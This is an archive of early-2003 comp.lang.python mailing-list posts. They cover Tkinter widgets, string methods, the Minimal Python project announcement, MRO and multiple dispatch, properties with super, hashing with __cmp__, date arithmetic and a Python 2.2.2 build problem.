> but I think you want the validatecmd command option
> which is called before an entry is added to the listbox:

Right, and the new entry obviously isn't part of the list then, so the list
isn't complete.

I seem to have solved the problem by doing a self.update() in the "command"
callback, that seems to work so that when the <FocusOut> happens, the
dropdown list is complete, and I can shelve it.

Thanks anyway, and Happy New Year.

-gc

-- 
Global warming?  Yeah, it's our fault.  McDonald's, sure.  Only
country to use nuclear weapons in warfare?  Yep, and glad to do it.
But the Canadians are responsible for William Shatner.
 -- Mark 'Kamikaze' Hughes ASR



From klachemin at home.com  Mon Jan 27 22:48:17 2003
From: klachemin at home.com (Kamilche)
Date: 27 Jan 2003 19:48:17 -0800
Subject: String Methods Don't Change ID?
References: <889cbba0.0301271313.7da84213@posting.google.com> <3E35A9B3.87D605DC@engcorp.com>
Message-ID: <889cbba0.0301271948.3c8843fc@posting.google.com>

Peter Hansen <peter at engcorp.com> wrote in message news:<3E35A9B3.87D605DC at engcorp.com>...
>
> Finish up your example by typing "quest" again:
> 
> >>> quest
> 'what is your favorite color?'
> 
> Hmm.... neither very centered, nor capitalized, is it?  So it hasn't 
> been modified. ;-)
> 

Heheheh, I get it now, thanks. :-)

Calling a method on a string SEEMS like it should modify the original,
not create a new one, but I guess strings are 'special' all the way
around.  To me, it's kinda like saying 'person.logon(logonid,
password)' creating a new person object and logging them on, while
leaving the original person untouched.



From robin at jessikat.fsnet.co.uk  Fri Jan 10 04:02:15 2003
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Fri, 10 Jan 2003 09:02:15 +0000
Subject: Having a __stdlib__ namespace?
References: <avl3bi$v9i$1@agate.berkeley.edu> <avliio$beo$0@216.39.172.122>
 <avlunc$15h5$1@agate.berkeley.edu>
Message-ID: <isfpsLAXwoH+Ew+6@jessikat.fsnet.co.uk>

In article <avlunc$15h5$1 at agate.berkeley.edu>, Daniel Yoo
<dyoo at hkn.eecs.berkeley.edu> writes
.....
>It would be nice to have a well-defined, guaranteed way to get at the
>Standard Library.
..... one of the real reasons for doing this is surely the problem of
man in the middle type attacks on applications. I might try and import
md5, but Joe Hacker has got his module on the path first so he can look
at stuff I want to hash.
-- 
Robin Becker



From eric.brunel at pragmadev.com  Wed Jan 29 04:02:59 2003
From: eric.brunel at pragmadev.com (Eric Brunel)
Date: Wed, 29 Jan 2003 10:02:59 +0100
Subject: TK entry pretext
References: <3E374D68.4010906@netscape.net>
Message-ID: <b1850f$2ma$1@news-reader12.wanadoo.fr>

vector180 wrote:
> HI
> Status=ActivePython,xp,newbie
> 
> Im having trouble with the Entry code in TK
> <snip>
> self.e_fanon=Entry(frame,width=5)
> self.e_fanon.grid(row=l_row,column=1,sticky=W)
> <endsnip>
> Q1 can I put some pre text in the entry box?. How?

There are two ways to do that:
1/ use:
self.e_fanon=Entry(frame, width=5, text="default value")
This is not the best way...

2/ use a Tkinter string variable:
myVar = StringVar()
myVar.set("default value")
self.e_fanon=Entry(frame, width=5, textvariable=myVar)
This is the preffered way, since from now, every change made by the user in the 
entry will be reflected in myVar. To get the current value in the entry, just do 
a myVar.get()

> Q2 how do I know when/if to get the users entry?
>         does Python/tk set a flag.

The when or if is up to you. It's usually when a "OK" button is clicked or when 
a "File"/"Save" menu item is chosen or whatever. I can always react to any 
keypress in the entry, but I don't think this is what you want...

HTH
-- 
- Eric Brunel <eric.brunel at pragmadev.com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com




From morden at shadows.net  Wed Jan 15 16:19:15 2003
From: morden at shadows.net (morden)
Date: Wed, 15 Jan 2003 13:19:15 -0800
Subject: Zinc designer
Message-ID: <b04d1f$68b$1@bob.news.rcn.net>

Did anyone modify Zinc designer to generate (and preferably read back) 
Python code instead of binary .dat files?




From pyth at trillke.net  Fri Jan 10 09:41:21 2003
From: pyth at trillke.net (holger krekel)
Date: Fri, 10 Jan 2003 15:41:21 +0100
Subject: [ann] Minimal Python project
Message-ID: <20030110154121.F1568@prim.han.de>

Minimal Python Discussion, Coding and Sprint
--------------------------------------------

We announce a mailinglist dedicated to developing
a "Minimal Python" version.  Minimal means that
we want to have a very small C-core and as much
as possible (re)implemented in python itself.  This
includes (parts of) the VM-Code.  

Building on the expected gains in flexibility
we also hope to use distribution techniques such 
as PEP302 to ship only a minimal set of modules 
and load needed modules on demand.

As Armin Rigo of PSYCO fame takes part in the effort,
we are confident that MinimalPython will eventually
run faster than today's CPython.

And because Christian Tismer takes part, we are
confident that we will find a radical enough
approach which also fits Stackless :-)

We are very interested in learning about and
integrating prior art.  And in hearing any
doubtful or reinforcing opinions.  Expertise
is welcomed in all areas.

So if you have an interest or even code regarding
'minimal python' please join the list:

   http://codespeak.net/mailman/listinfo/pypy-dev

discussions previously took place on python-de and
in private mails.  We will repost some core 
ideas (in english) for further discussion.

In a few months we'd like to do a one-week
Sprint in Germany focusing on releasing first
bits of Minimal Python.

best wishes, 
    Armin Rigo, 
    Christian Tismer, 
    Holger Krekel




From pedronis at bluewin.ch  Fri Jan  3 16:03:05 2003
From: pedronis at bluewin.ch (Samuele Pedroni)
Date: Fri, 3 Jan 2003 22:03:05 +0100
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org> <3e14589e_5@news.bluewin.ch> <mailman.1041585365.7351.python-list@python.org> <3e159dcc_2@news.bluewin.ch> <mailman.1041622110.1975.python-list@python.org>
Message-ID: <3e15fae2$1_2@news.bluewin.ch>

From: "David Mertz" <mertz at gnosis.cx>
> "Samuele Pedroni" <pedronis at bluewin.ch> wrote previously:
> |Damian Conway on his method:
> |"some languages (e.g. CLOS) take a different approach -- breaking the tie
by
> |a recount on the inheritance distance of each argument starting from the
> |left... In the author's opinion, this approach is appalling...
>
> Where did you find this quote?  I don't think I saw it in the POD, but
> maybe I overlooked it.

it's from his Perl6 RFC inspired by his previous work

http://dev.perl.org/rfc/256.html

>
> I think Conway's approach is very Perl-ish:  try to figure out what the
> user was most likely to mean, than execute it willy-nilly.  In that
> sense, he definitely does the -right- thing for the language the module
> is in.  But Python doesn't make such assumptions.

I would agree on that.

> On the other hand, Dylan seems much more bondage-and-discipline than
> Python is.  Covariance/contravariance concerns, and generally an
> obsession with type hierarchies, is not very Pythonic, IMO.

once taken the linearization and cooperative methods' path, what is
reasonable, intuitive and usable change.

>   I wouldn't
> say that raising a descriptive error in case of method ambiguities would
> be totally contrary to a Python attitude... but I think better is a rule
> which simply decides matters for every case, regardless of inheritence
> fussiness.  lexicographic_mro() fills that criterion.
>
> After all, plain inheritence in Python doesn't raise compilation/runtime
> errors if the graph isn't pretty enough--as it does in some languages.
> MRO never blows up.

those were the days <wink>

Python 2.3a1 (#38, Dec 31 2002, 17:53:59) [MSC v.1200 32 bit (Intel)] on
win32
Type "help", "copyright", "credits" or "license" for more information.
>>> class A(object): pass
...
>>> class B(object): pass
...
>>> class C(A,B): pass
...
>>> class D(B,C): pass
...
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: MRO conflict among bases B, C






From DLNXPEGFQVEB at spammotel.com  Mon Jan 13 03:45:27 2003
From: DLNXPEGFQVEB at spammotel.com (Christos TZOTZIOY Georgiou)
Date: Mon, 13 Jan 2003 10:45:27 +0200
Subject: socket.inet_aton 64-bit buglet; endianess?
Message-ID: <0tu42v4qhrfh1kjjkg761dt3o5pb87im0k@4ax.com>

At least on SGI Irix, it returns a byte representation of a long (8
bytes), which is plain wrong.

What I wanted to know before supplying a patch, is that: is the
endianess of the result specified?  Should I just return a string
representation of a 4-byte integer, or should I make sure it is in
network order (big-endian)?

Thanks in advance.
-- 
TZOTZIOY, I speak England very best,
Real email address: 'dHpvdEBzaWwtdGVjLmdy\n'.decode('base64')



From stephan.diehl at gmx.net  Tue Jan  7 03:40:29 2003
From: stephan.diehl at gmx.net (Stephan Diehl)
Date: Tue, 7 Jan 2003 09:40:29 +0100
Subject: Opinions, please: Repository module
References: <mailman.1041806169.632.python-list@python.org> <200301060017.19510.andy@eastonwest.co.uk> <1041817358.1368.1470.camel@software1.logiplex.internal> <mailman.1041878643.15780.python-list@python.org>
Message-ID: <ave3p6$2j4$01$1@news.t-online.com>

andy wrote:

> Thanks, cliff, I will take a look at pyro.
> 
> As I said at the end of my original post:
> "I just /bet/ someone is going to tell me now that there's already
> something out there which does exactly this :-(

You might want to try Standalone ZODB (that's the ZOPE object database). It 
just works like a networked dictonary (and can be used to share objects 
over a network)

> "
> 
> Pyro is something I hadn't trawled up.  Depends on your search strings, I
> suppose!
> 
> I'm still glad I did what I did (and will probably still use/develop it,
> cos I'm a stubborn ass ;-) )
> 
> Thanks.
> 
> Regards, andyj
> 
> 




From tismer at tismer.com  Wed Jan 15 13:02:16 2003
From: tismer at tismer.com (Christian Tismer)
Date: Wed, 15 Jan 2003 19:02:16 +0100
Subject: Changing truth
In-Reply-To: <m28yxq9ljj.fsf@pchoel.1480-778.online.de>
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com> <3E20A117.9020609@tismer.de> <mailman.1042326561.2537.python-list@python.org> <m28yxq9ljj.fsf@pchoel.1480-778.online.de>
Message-ID: <3E25A228.8000307@tismer.com>

Berthold H?llmann wrote:
> Gerhard H?ring <gerhard.haering at gmx.de> writes:
> 
> 
>>* Christian Tismer <tismer at tismer.de> [2003-01-11 23:56 +0100]:
>>
>>>Don't forget that I've proven that I can change truth, [...]
>>
>>>>>True, False = False, True
>>>>>True, False
>>
>>(0, 1)
>>
>>Easy enough ;-)
>>
>>SCNR,
> 
> 
> Even better:
> 
> 
>>python
> 
> Python 2.3a1 (#1, Jan  9 2003, 22:40:56) 
> [GCC 3.2 (SuSE Linux)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
> 
>>>>True, False
> 
> (True, False)
> 
>>>>True, False = False, True
>>>>True, False
> 
> (False, True)
> 
> True is false and false is true.

 >>> True is False and False is True
False

This is never true, false?

 >>> bool(True == True)
False

# ouch! Let's make these invulnerable, ASAP,
# and None, too

your's truely (+0) - chris
-- 
Christian Tismer             :^)   <mailto:tismer at tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/





From moz at skilic.com  Sun Jan  5 04:06:02 2003
From: moz at skilic.com (Serdar Kilic)
Date: Sun, 5 Jan 2003 20:06:02 +1100
Subject: Python vs .Net
In-Reply-To: <3E17F0F6.3EB4BD8B@ifsdadfassdfa.invalid>
Message-ID: <000001c2b499$ad7a61f0$0100a8c0@bidi>

.net is a framework. There are languages that target this framework
(e.g. C#, VB.NET, Python.NET). It is also not solely for MS Windows; see
www.go-mono.org

--
Kind Regards,
 Serdar K. | http://www.kilic.net/

>-----Original Message-----
>From: python-list-admin at python.org 
>[mailto:python-list-admin at python.org] On Behalf Of Jive Dadson
>Sent: Sunday, 5 January 2003 7:47 PM
>To: python-list at python.org
>Subject: Re: Python vs .Net
>
>
>.Net is Visual Basic, right:?  It only runs on MS Windows 
>machines, right? There's a difference.
>
>
>
>
>
>-- 
>http://mail.python.org/mailman/listinfo/python-list
>





From mgarcia at cole-switches.com  Thu Jan 23 18:23:33 2003
From: mgarcia at cole-switches.com (Manuel M. Garcia)
Date: Thu, 23 Jan 2003 23:23:33 GMT
Subject: The "beaty" of date arithmetic
References: <6e990e29.0301222352.2ebb5c1e@posting.google.com>
Message-ID: <clt03v8a49rtfhe90l7nomj91rll1n8vjk@4ax.com>

The 'time' module is terrible for doing any kind of date arithmetic.
In Python 2.3 there will be a standard module 'datetime' that will
support straightforward and efficient date arithmetic.  But Python 2.3
is in beta right now.

For now, please try 'mxDateTime', an extension module that is
currently the best way to do date arithmetic in Python.

http://www.lemburg.com/files/python/mxDateTime.html

'mxDateTime' is a delight to use compared to the 'time' module.
'mxDateTime' is free to use, and licensed similar to Python.

Manuel



From wks000 at t-online.de  Sat Jan 11 15:49:42 2003
From: wks000 at t-online.de (Wolfgang Strobl)
Date: Sat, 11 Jan 2003 21:49:42 +0100
Subject: GUI speed
References: <mailman.1042070716.17019.python-list@python.org> <slrnb1pk9b.ga.gerhard.haering@lilith.my-fqdn.de> <slrnb1rtc1.ek.gerhard.haering@lilith.my-fqdn.de> <3e1dfaaa$0$94297$e4fe514c@dreader4.news.xs4all.nl> <avkua5$ib0$1@news.tudelft.nl> <1042205523.49394.0@demeter.uk.clara.net> <3E1F66D4.CA2938BE@alcyone.com>
Message-ID: <lnv02v4n6jh2hc9m08og1b71mjql9qtnom@4ax.com>

Erik Max Francis <max at alcyone.com>:

>Steve Hunt wrote:
>
>> Well that's not really what qua means.  It means "in the role of".
>
>And it's one of those fancy Latin words that's only used in very limited
>circumstances.  The only uses I've seen are _sine qua non_ ("without
>which, not") and _X qua X_ (with X being the same word both before and
>after).  

There is a qua clause in Simula 67, a kind of class cast, so to speak.

<ref expr> qua <class name>

first asserts that <ref expr> is indeed a valid reference of an
instance of <class name> or a subclass of <class name>, and then
returns an expression of type ref(name).  In combination with inspect
it allowes late binding in an otherwise statically typed language.


-- 
Thank you for observing all safety precautions



From tdelaney at avaya.com  Mon Jan  6 02:01:23 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Mon, 6 Jan 2003 18:01:23 +1100 
Subject: HELP! Must choose language!
Message-ID: <B43D149A9AB2D411971300B0D03D7E8BF0A812@natasha.auslabs.avaya.com>

> From: Dan Smart [mailto:cppdan at dansmart.com]
>
> > I wrote as a group final-year uni project some time ago a Nova 2
> > simulator called "Satori" (named after "Nova Satori" in 
> Robotech: The
> > Robotech Masters ;) I even wrote an assembler for it.
> > 
> > Front panel with usable switches, teletype, tape reader and puncher,
> > the works. Fun stuff. Written in C on the Mac.
> > 
> I'd be interested in seeing that if you still have it.

Unfortunately, I had my computer stolen, along with the Zip cartidges with
my backups (for hard drive failure, not theft - they were sitting next to
the computer) the following year (I got full-time employment halfway through
my final year, and took an additional 4 years to complete my degree ;). I
had to pull out of a course since it got stolen week 12 of 14 in the
semester, with a project on it that was worth 40% ... I just told my
professor I wasn't going to bother sitting the exam, but would get an extra
couple of days pay ...

I think I've still got all the specs and everything for the machine, so some
day I may re-write it (in Python ;) It needed a rewrite anyway ... as I
said, a *group* final-year project ... they wouldn't let me do it on my own.
It would have taken so much less time if they had ... (back in the days
before I knew what software design really was ;)

Tim Delaney




From gedb at rushcoding.co.uk  Thu Jan  2 10:03:04 2003
From: gedb at rushcoding.co.uk (Ged)
Date: 2 Jan 2003 07:03:04 -0800
Subject: Problems extending an abstract Java class in Jython.
Message-ID: <1a81ad90.0301020703.439956c5@posting.google.com>

Hi,

I'm extending a class from the www.nakedobjects.org framework.

The class has one abstract method, with the following signature:

	public abstract void classSet(NakedClassList classes);


I'm overriding the class with the following:

class Run(nakedobjects.Exploration):
	def classSet(self, classes):
		classes.addClass(Project)
		classes.addClass(Employee)
		classes.addClass(Role)

However, when I run the code I get the following error:

Traceback (innermost last):
  File "D:\gedbs\Java\nakedobject.jy", line 67, in ?
AttributeError: abstract method "classSet" not implemented

I've checked to ensure that theirs no overloading.  The classSet
function is only ever called from within the class itself in order to
populate the list.

Is there anything else I may have missed?

I'm using the following version of the Java VM:

java version "1.3.1_04"
Java(TM) 2 Runtime Environment, Standard Edition (build 1.3.1_04-b02)
Java HotSpot(TM) Client VM (build 1.3.1_04-b02, mixed mode)

A call to sys.version_info returns: 

(2, 1, 0, 'final', 0)



From simonb at webone.com.au  Thu Jan 16 04:42:42 2003
From: simonb at webone.com.au (Simon Burton)
Date: Thu, 16 Jan 2003 20:42:42 +1100
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <3E267821.5030209@mxm.dk> <gXuV9.11465$CG6.203610@news4.e.nsc.no>
Message-ID: <pan.2003.01.16.09.42.41.751206@webone.com.au>

On Thu, 16 Jan 2003 10:28:42 +0100, Thomas Weholt wrote:

> Hm ... I see your point. I began thinking about this when I read some old
> code where a variable changed datatype during its lifespan inside a function
> several times. I think it was passed as a string, turned into a int and
> could be returned from the function as None depending on its content. It was
> awful.

So use a different variable for each incarnation.

Just wrote this:

def capit(s):
  l = s.split("_") # could re-use s here
  l = [ s.capitalize() for s in l ]
  return string.join(l,"")

capit("some_name") returns "SomeName"

regards,
Simon Burton.




From whisper at oz.net  Tue Jan 28 16:50:56 2003
From: whisper at oz.net (David LeBlanc)
Date: Tue, 28 Jan 2003 13:50:56 -0800
Subject: python weblog apps?
In-Reply-To: <20030128000125.A21343@psychofx.com>
Message-ID: <GCEDKONBLEFPPADDJCOEMEAAHLAA.whisper@oz.net>

I mis-read your original post and thought you where looking for web log
("blog") editing software not weblog hosting software.

PyBloxsom is a good one: http://roughingit.subtlehints.net/pyblosxom

I also found TinyBlog in Python: http://sieve.net/TinyBlog/

Here's another website on CMS (Content Management Systems). Info by language
and also pointers to Blog API's. http://www.la-grange.net/cms

I would be interested in pointers to blog editing source software,
preferably in Python.

David LeBlanc
Seattle, WA USA

> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of Chris Miles
> Sent: Monday, January 27, 2003 16:01
> To: python-list at python.org
> Cc: chris_py004 at psychofx.com
> Subject: python weblog apps?
>
>
> I am after a simple weblog for a project, and I see
> a number of php weblog apps around, but have not
> found a Python-based one.
>
> If you know of one you can point me at, that'd be
> great.
>
> Cheers,
> CM
>
> --
> Chris Miles
>
> --
> http://mail.python.org/mailman/listinfo/python-list





From op73418 at mail.telepac.pt  Tue Jan 21 11:22:03 2003
From: op73418 at mail.telepac.pt (Gonçalo Rodrigues)
Date: Tue, 21 Jan 2003 16:22:03 +0000
Subject: How to call the super implementation of a property?
Message-ID: <2osq2vo3qqgg1nrdg3ude0oms62et81uks@4ax.com>

Hi,

I've posted this question but got no answer so I'm trying it again:

Suppose I override a property in a subclass,  e.g.

>>> class test(object):
... 	def __init__(self, n):
... 		self.__n = n
... 	def __get_n(self):
... 		return self.__n
... 	def __set_n(self, n):
... 		self.__n = n
... 	n = property(__get_n, __set_n)
... 	
>>> a = test(8)
>>> a.n
8
>>> class test2(test):
... 	def __init__(self, n):
... 		super(test2, self).__init__(n)
... 	def __get_n(self):
... 		return "Got ya!"
... 	n = property(__get_n)
... 	
>>> b = test2(8)
>>> b.n
'Got ya!'

How do I call the super implementation of the n property using super?
The obvious (to me) does not work:

>>> print super(test2, b).n
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
AttributeError: 'super' object has no attribute 'n'

I know I can do

>>> test.n.__get__(b)
8
>>> 

But how do I achieve the same using super (for an MI scenario)?

TIA and with my best regards,
G. Rodrigues



From mwm at mired.org  Thu Jan  9 11:12:18 2003
From: mwm at mired.org (Mike Meyer)
Date: Thu, 09 Jan 2003 16:12:18 GMT
Subject: Generate variables at run time?
References: <VyPS9.6818$xs6.347786501@newssvr14.news.prodigy.com> <avi7k2$g5tob$1@ID-89047.news.dfncis.de> <Z77T9.276$V71.172@newssvr19.news.prodigy.com>
Message-ID: <x7bs2quwt6.fsf@guru.mired.org>

"Byron Morgan" <lazypointer at yahoo.com> writes:

> I have been using REXX for years for all my scripting needs. In REXX, I can
> use any string as a variable with no special handling.

I coded Rexx for years as well. Python isn't Rexx, so you'll need to
do things a different way.

> Here is the project:
> 
> A server supplies an alphanumeric data stream over an internet socket. The
> data is output from a train control system. Trains constantly enter and
> leave the controlled territory, and each has a unique ID. I want to use a
> class named  "train", and name each new instance based on this ID. For
> example, train 123 will cause creation of  T123=train(). While the train is
> in the system, it will be frequently updated based on new data, then it will
> be destroyed when the train leaves the system.
> 
> for the curious:
> In REXX, for a similar situation, I use a stem "train", then add the train
> number, then add each attribute as events are reported.
> train. = 0
> train.123 = 1 (value represents the number of cars in train)
> train.123.stat = 1 (0 if stopped, 1 if moving)
> train.123.doors = 1 (1 if closed, 0 if open)

The closest things to stemmed variables is a dictionary. In fact,
they're almost the same thing, just with different syntax.

Assuming you have a class Train, here's how to

Create the list of trains: train = {}
Create a new train: train[123] = Train()
Set the status: train[123].stat = 1
Read the status: train[123].stat

Close the door on all stopped trains:
for t in train.values():
    if t.stat: t.door = 1

Get a list of the names of all stopped trains:
    [x for x in train.keys() if train[x].stat]
        # Note: in recent pythons, "train.keys()" can be replaced by just "train"

While I miss the easy access to applications, I generally find that
programming in python is much more pleasant than programming in Rexx.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From eric.brunel at pragmadev.com  Tue Jan  7 11:20:05 2003
From: eric.brunel at pragmadev.com (Eric Brunel)
Date: Tue, 7 Jan 2003 17:20:05 +0100
Subject: Help: Omitting quotes from SQL Queries.
References: <2356598.1041950714@dbforums.com>
Message-ID: <aveubs$6pl$1@news-reader12.wanadoo.fr>

keithk wrote:
> Hi All,
> 
> I am using an mx.ODBC connection to MSSQL and am iterating through a
> list to get data from the DB, for eg:
> 
> for fileName in fileNameList:
>         cursor.execute("SELECT fileSize FROM database where
>         database.filename = '%s'" % fileName)
>         fileSizes = cursor.fetchall()
> 
> However, when it iterates through the list and fileName equals something
> like "Hello World's" with a single quote inside the query fails as the
> string is ended prematurely, does anybody know how I can solve this?

fileName.replace("'", "''") ?

Doubling the quotes should do the trick.

HTH
-- 
- Eric Brunel <eric.brunel at pragmadev.com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From lac at strakt.com  Mon Jan 13 11:54:28 2003
From: lac at strakt.com (Laura Creighton)
Date: Mon, 13 Jan 2003 17:54:28 +0100
Subject: slow loop? 
In-Reply-To: Message from Laura Creighton <lac@strakt.com> 
   of "Mon, 13 Jan 2003 17:52:11 +0100." <200301131652.h0DGqBjL005432@ratthing-b246.strakt.com> 
References: <1964c4d7.0301130842.2f693958@posting.google.com> <200301131652.h0DGqBjL005432@ratthing-b246.strakt.com> 
Message-ID: <200301131654.h0DGsSjL005473@ratthing-b246.strakt.com>

And Padraif has beaten me to the more radical optimizations while I was
busy testing them to make sure they work.  grin.  But still don't
grow strings char by char like that ...

Laura




From aleax at aleax.it  Wed Jan 29 11:12:51 2003
From: aleax at aleax.it (Alex Martelli)
Date: Wed, 29 Jan 2003 16:12:51 GMT
Subject: lost Hashability with __cmp__
References: <b18o81$p21$1@rrzd1.rz.uni-regensburg.de>
Message-ID: <74TZ9.100616$0v.2908008@news1.tin.it>

Martin Schmettow wrote:

> I declared a __cmp__ for a class. Now I get an TypeError: unhashable
> instance if  I use objects of this class as keys in a dictionary.
> Can someone explain why and how I can gain back hashability?

When your class X defines none of __cmp__, __eq__, and __hash__,
then for any instance x of X, hash(x) returns id(x) -- no problem.

If you have __cmp__ or __eq__ but no __hash__, this means your
class is not hashable -- the case you're in now.

To make it hashable again, define __hash__: remember it MUST
return the same value for any two objects that compare equal,
AND it must always return the SAME value for any single given
object (the two constraints taken together practically mean
such objects must be immutable in all that concern their
comparison for equality).


Alex




From cameron at toolhouse.com  Fri Jan 31 19:43:51 2003
From: cameron at toolhouse.com (Cameron S. Watters)
Date: Fri, 31 Jan 2003 16:43:51 -0800
Subject: Build Problems
Message-ID: <3BC66B7A-357E-11D7-A13B-00306599D91A@toolhouse.com>

Hello All,

I'll try this again without the entire make output...

If I should be looking elsewhere for an answer to this question, please 
don't flame, just point me in the right direction. For the record, I've 
read the README and the FAQ and searched this list and the web (using 
Google) for some insight, and found nothing that helped much.

I'm attempting to build Python 2.2.2 and I'm getting the following 
message when I try to 'make':

<snip>

/home/opt/src/work/Python-2.2.2/./Modules/posixmodule.c:4455: the use 
of `tempnam' is dangerous, better use `mkstemp'
case $MAKEFLAGS in \
*-s*) CC='gcc' LDSHARED='ld' OPT='-DNDEBUG -g -O3 -Wall 
-Wstrict-prototypes' ./python -E ./setup.py -q build;; \
*) CC='gcc' LDSHARED='ld' OPT='-DNDEBUG -g -O3 -Wall 
-Wstrict-prototypes' ./python -E ./setup.py build;; \
esac
running build
running build_ext
building 'struct' extension
creating build
creating build/temp.linux-i686-2.2
gcc -DNDEBUG -g -O3 -Wall -Wstrict-prototypes -I. 
-I/home/opt/src/work/Python-2.2.2/./Include -I/usr/local/include 
-I/home/opt/src/work/Python-2.2.2/Include 
-I/home/opt/src/work/Python-2.2.2 -c 
/home/opt/src/work/Python-2.2.2/Modules/structmodule.c -o 
build/temp.linux-i686-2.2/structmodule.o
creating build/lib.linux-i686-2.2
ld build/temp.linux-i686-2.2/structmodule.o -L/usr/local/lib -o 
build/lib.linux-i686-2.2/struct.so
ld: warning: cannot find entry symbol _start; defaulting to 08048074
build/temp.linux-i686-2.2/structmodule.o: In function `get_pylong':
/home/opt/src/work/Python-2.2.2/Modules/structmodule.c:90: undefined 
reference to `PyInt_Type'
/home/opt/src/work/Python-2.2.2/Modules/structmodule.c:90: undefined 
reference to `PyInt_Type'
/home/opt/src/work/Python-2.2.2/Modules/structmodule.c:90: undefined 
reference to `PyType_IsSubtype'
/home/opt/src/work/Python-2.2.2/Modules/structmodule.c:92: undefined 
reference to `PyLong_Type'
/home/opt/src/work/Python-2.2.2/Modules/structmodule.c:92: undefined 
reference to `PyLong_Type'
/home/opt/src/work/Python-2.2.2/Modules/structmodule.c:92: undefined 
reference to `PyType_IsSubtype'

</snip>

The part I'm concerned about are the lines immediately preceding and 
following the line beginning with "ld:warning:cannot..."

Complete config log and/or make output are available, but are pretty 
big (about 650 KB). I should also point out that I'm attempting to 
build this on a machine running a tweaked RedHat of which I am not the 
admin.

Any help would be much appreciated.





From lac at strakt.com  Tue Jan  7 03:57:05 2003
From: lac at strakt.com (Laura Creighton)
Date: Tue, 07 Jan 2003 09:57:05 +0100
Subject: help with counter 
In-Reply-To: Message from Bill Carter <BC@energy.com> 
   of "Mon, 06 Jan 2003 12:20:41 PST." <83oj1v8eb814lev3bgtfqjpnpha92des1s@4ax.com> 
References: <83oj1v8eb814lev3bgtfqjpnpha92des1s@4ax.com> 
Message-ID: <200301070857.h078v5jL000681@ratthing-b246.strakt.com>

hint:
If I gave you a list of filenames, and told you to drop every
third filename, could you do it?

If I gave you a list of filenames and told you to rename them to
newname.x.txt, newname.x+1.txt ... could you do that?

Laura Creighton

> I must have been looking at this problem for to  long, but I need some
> help because I am stuck.
> 
> I have a series of files on disk   file.01.txt, file.02.txt ...
> what I am trying to do is rename all the files a new name but also not
> renaming a few files but maintaining the number sequence
> 
> for example 
> 
> #sample command line
> pyrename.py file.01.txt file.400.txt  3 newfile.01.txt  
> 
> # breakdown
> script name / filename of first file / last filename / drop every 3rd
> file / new filename and start number
> 
> 
> should produce 
> 
> file.01.txt     	newfile.01.txt
> file.02.txt	newfile.02.txt
> file.03.txt	
> file.04.txt	newfile.03.txt
> file.05.txt	newfile.04.txt
> file.06.txt	newfile.05.txt
> file.07.txt	newfile.06.txt
> file.08.txt	
> file.09.txt	newfile.07.txt
> file.10.txt ...	newfile.08.txt...
> 
> the filename changes the amount changes and the file to be dropped
> changes.
> 
> For some reason I can't put my head around this problem.  Any help
> would be appreciated.
> 
> BC
> 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list




From eric.brunel at pragmadev.com  Wed Jan 22 03:59:00 2003
From: eric.brunel at pragmadev.com (Eric Brunel)
Date: Wed, 22 Jan 2003 09:59:00 +0100
Subject: tkinter buttons and columnspan
References: <3E2E1A02.90805@motorola.com>
Message-ID: <b0lm47$j3s$1@news-reader12.wanadoo.fr>

Stephen Boulet wrote:
> Is there a way, when using grid to place widgets in tkinter, to make a 
> button fully occupy multiple columns?
> 
> -- Stephen

What's your point? Doesn't:

b = Button(...)
b.grid(row=..., column=..., columnspan=...)

work?
-- 
- Eric Brunel <eric.brunel at pragmadev.com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com




From gerrit at nl.linux.org  Mon Jan 13 11:55:07 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Mon, 13 Jan 2003 17:55:07 +0100
Subject: Seeking Minimal Python Project Name
In-Reply-To: <32A390F8-26E9-11D7-B694-00050287C0A6@earthlink.net>
References: <32A390F8-26E9-11D7-B694-00050287C0A6@earthlink.net>
Message-ID: <20030113165507.GA2537@nl.linux.org>

Kow K schreef op maandag 13 januari om 12:22:01 +0000:
> Lython		(variation of the above)

I'd like to nominate Lython for the vote.

yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From maney at pobox.com  Fri Jan 31 19:33:34 2003
From: maney at pobox.com (Martin Maney)
Date: Sat, 1 Feb 2003 00:33:34 +0000 (UTC)
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu>   <CpFZ9.1212$wd2.100989@newsread2.prod.itd.earthlink.net> <gWOZ9.134330$AA2.5582397@news2.tin.it> <Y%1_9.3865$wd2.302595@newsread2.prod.itd.earthlink.net> <bK6_9.140709$AA2.5799087@news2.tin.it> <a2h_9.5383$Wu1.411649@newsread1.prod.itd.earthlink.net> <8bbd9ac3.0301302140.6938685c@posting.google.com> <oPr_9.108013$0v.3123750@news1.tin.it> <mailman.1044029142.17081.python-list@python.org> <yyyhebpkyjd.fsf@adams.patriot.net>
Message-ID: <b1f4ku$8h2$1@wheel2.two14.net>

